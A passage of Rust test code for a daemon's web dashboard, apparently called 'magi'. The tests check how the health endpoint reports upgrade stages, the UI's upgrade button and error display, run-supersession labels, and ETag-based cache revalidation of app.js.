7577 let health = fx.get("/api/health").await.json();
7578 assert_eq!(health["upgrade"]["stage"], "parking");
7579 assert_eq!(health["upgrade"]["from"], "0.5.1");
7580 assert_eq!(health["upgrade"]["to"], "0.5.2");
7581 let waiting_on = health["upgrade"]["waiting_on"]
7582 .as_str()
7583 .expect("waiting_on is set while parking a known run");
7584 assert!(waiting_on.contains("cd51"), "{waiting_on}");
7585 assert!(waiting_on.contains("implementing"), "{waiting_on}");
7586 }
7587
7588 #[tokio::test]
7589 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
7590 let fx = Fixture::start().await;
7591 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7592 progress.advance(crate::updater::Stage::Done);
7593 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
7594
7595 let health = fx.get("/api/health").await.json();
7596 assert_eq!(health["upgrade"]["stage"], "done");
7597 assert!(
7598 health["upgrade"]["waiting_on"].is_null(),
7599 "nothing to wait on once it is done"
7600 );
7601 }
7602
7603 #[tokio::test]
7604 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
7605 let home = TempDir::new().expect("temp home");
7606 let runs = home.path().join("runs");
7607 std::fs::create_dir_all(&runs).expect("runs dir");
7608 let ui = Ui::new(
7609 Queue::at(home.path().join("queue")),
7610 Questions::at(home.path().join("questions")),
7611 Talks::at(home.path().join("talks")),
7612 runs,
7613 home.path().to_path_buf(),
7614 PathBuf::from("/repo/magi"),
7615 )
7616 .with_launch(launch_idle);
7617 let looping = ui.looping();
7618 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7619 .await
7620 .expect("bind loopback");
7621 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
7622
7623 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
7624 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
7625
7626 hand_over(home.path(), &looping, served, || Ok(()))
7627 .await
7628 .expect("hand over");
7629
7630 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
7631 assert_eq!(
7632 after.stage,
7633 crate::updater::Stage::Restarting,
7634 "hand_over owns the record through parking and up to restarting; \
7635 the successor is what finishes it"
7636 );
7637 }
7638
7639 #[test]
7640 fn the_upgrade_button_arms_before_it_restarts_anything() {
7641 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
7644 assert!(APP_JS.contains("Replace the binary and restart?"));
7645 assert!(APP_JS.contains("function confirmed("));
7646 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
7651 assert!(
7655 APP_JS.contains("Parking, then restarting"),
7656 "the button says what it is waiting for"
7657 );
7658 assert!(APP_JS.contains("if (!out.to)"));
7661 }
7662
7663 #[test]
7664 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
7665 assert!(
7666 APP_JS.contains("state.health.version"),
7667 "the operator wants to know what is running even with nothing newer"
7668 );
7669 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
7670 }
7671
7672 #[test]
7673 fn the_upgrade_button_names_its_destination() {
7674 assert!(
7675 APP_JS.contains("`Update to ${update.to}`"),
7676 "pressing the button should not be a surprise about what it moves to"
7677 );
7678 }
7679
7680 #[test]
7681 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
7682 for stage in ["downloading", "replaced", "parking", "restarting"] {
7683 assert!(
7684 APP_JS.contains(&format!("\"{stage}\"")),
7685 "the phone must be able to tell {stage} apart from the others"
7686 );
7687 }
7688 assert!(APP_JS.contains(".waiting_on"));
7689 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
7694 assert!(APP_JS.contains("reconnects on its own"));
7695 }
7696
7697 #[test]
7698 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
7699 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
7708 ..APP_JS.find("function upgrade(").expect("upgrade")];
7709 assert!(
7710 !body.contains(
7711 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
7712 ),
7713 "a failed upgrade must not take the whole strip over the way it used to"
7714 );
7715 assert!(
7716 body.contains("upgradeFailNote"),
7717 "the failure has to reach the loop's own note instead"
7718 );
7719 assert_eq!(
7723 body.matches("upgradeFailNote].filter(Boolean).join")
7724 .count(),
7725 2,
7726 "both loop-why writers (quiet and control) must fold the note in"
7727 );
7728 }
7729
7730 #[test]
7731 fn an_overdue_upgrade_eventually_asks_for_a_human() {
7732 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
7735 assert!(APP_JS.contains("function upgradeOverdue("));
7736 }
7737
7738 #[test]
7739 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
7740 assert!(
7741 APP_JS.contains("Updated to ${upgradeInfo.to"),
7742 "the operator who asked for the restart wants to know it worked"
7743 );
7744 }
7745
7746 #[test]
7747 fn an_error_is_visible_from_where_the_button_is() {
7748 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
7753 ..APP_CSS.find(".alert-text").expect(".alert-text")];
7754 assert!(
7755 alert.contains("position: fixed"),
7756 "an error about the thing under your thumb has to be visible from \
7757 where your thumb is: {alert}"
7758 );
7759 assert!(
7760 alert.contains("z-index: 25"),
7761 "above the dock (20) and the run-actions FAB (15), so neither \
7762 buries it: {alert}"
7763 );
7764 assert!(
7765 alert.contains("var(--tap)"),
7766 "and clear of the dock and the home indicator: {alert}"
7767 );
7768 assert!(
7771 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
7772 "the FAB's column stays free: {alert}"
7773 );
7774 }
7775
7776 #[tokio::test]
7777 async fn an_older_attempt_says_what_replaced_it() {
7778 let fx = Fixture::start().await;
7779 let q = fx.queue();
7780 let runs = fx.runs();
7781 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
7782 write_run(&runs, first, RunStatus::Stalled);
7783 write_run(&runs, second, RunStatus::Blocked);
7784
7785 let mut t = Task::new(
7786 "one task".to_owned(),
7787 "do it".to_owned(),
7788 PathBuf::from("/repo"),
7789 Source::Human,
7790 );
7791 t.runs = vec![first.to_owned(), second.to_owned()];
7792 q.put(&mut t).expect("put");
7793
7794 let rows = fx.get("/api/runs").await.json();
7798 let by = |short: &str| -> Value {
7799 rows.as_array()
7800 .unwrap()
7801 .iter()
7802 .find(|r| r["short"] == short)
7803 .cloned()
7804 .unwrap_or(Value::Null)
7805 };
7806 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
7807 assert!(
7808 by("bbbb")["superseded_by"].is_null(),
7809 "the latest attempt is not superseded by anything"
7810 );
7811 assert!(APP_JS.contains("run.superseded_by"));
7813 assert!(APP_JS.contains("Superseded by"));
7814 }
7815
7816 #[tokio::test]
7817 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
7818 let fx = Fixture::start().await;
7819 let js = fx.get("/app.js").await;
7825 assert_eq!(js.status, 200);
7826 let tag = js
7827 .header("etag")
7828 .expect("an etag to revalidate against")
7829 .to_owned();
7830 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
7831 assert_eq!(
7832 js.header("cache-control"),
7833 Some("no-cache, must-revalidate"),
7834 "the phone has to ask every time"
7835 );
7836
7837 let again = fx
7840 .get_with("/app.js", &[("if-none-match", tag.as_str())])
7841 .await;
7842 assert_eq!(
7843 again.status, 304,
7844 "a deck it already has costs one round trip"
7845 );
7846 assert!(again.body.is_empty(), "304 carries no body");
7847
7848 let weak = fx
7851 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
7852 .await;
7853 assert_eq!(weak.status, 304);
7854 let stale = fx
7855 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
7856 .await;
7857 assert_eq!(stale.status, 200, "an older build must be replaced");
7858 assert!(stale.body.contains("renderRunActions"));
7859 }
7860
7861 #[test]
7862 fn the_deck_never_sends_the_operator_to_a_terminal() {
7863 assert!(
7866 !APP_JS.contains("Run `magi fold` first"),
7867 "the deck must offer the fold, not prescribe a shell command"
7868 );
7869 assert!(APP_JS.contains("foldRun:"));
7870 assert!(APP_JS.contains("resumeRun:"));
7871 assert!(APP_JS.contains("renderRunActions"));
7872
7873 assert!(APP_JS.contains("armedFold"));
7875 assert!(APP_JS.contains("Yes, fold worktrees"));
7876
7877 assert!(APP_JS.contains("can no longer be resumed"));
7880 }
7881
7882 #[test]
7883 fn a_finished_run_explains_itself_with_its_own_last_line() {
7884 assert!(
7890 !APP_JS.contains("collapsed on agent quota"),
7891 "a stall must not be explained by a cause the deck did not check"
7892 );
7893 assert!(
7894 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
7895 "and a block must not offer a guess with an `or` in it"
7896 );
7897
7898 assert!(
7902 APP_JS.contains("setText(r.event, run.event || \"\")"),
7903 "the run's last line is rendered unconditionally"
7904 );
7905 assert!(
7906 !APP_JS.contains("moving && run.event"),
7907 "and never gated on the run still moving"
7908 );
7909
7910 assert!(APP_JS.contains("lost to quota"));
7912 }
7913}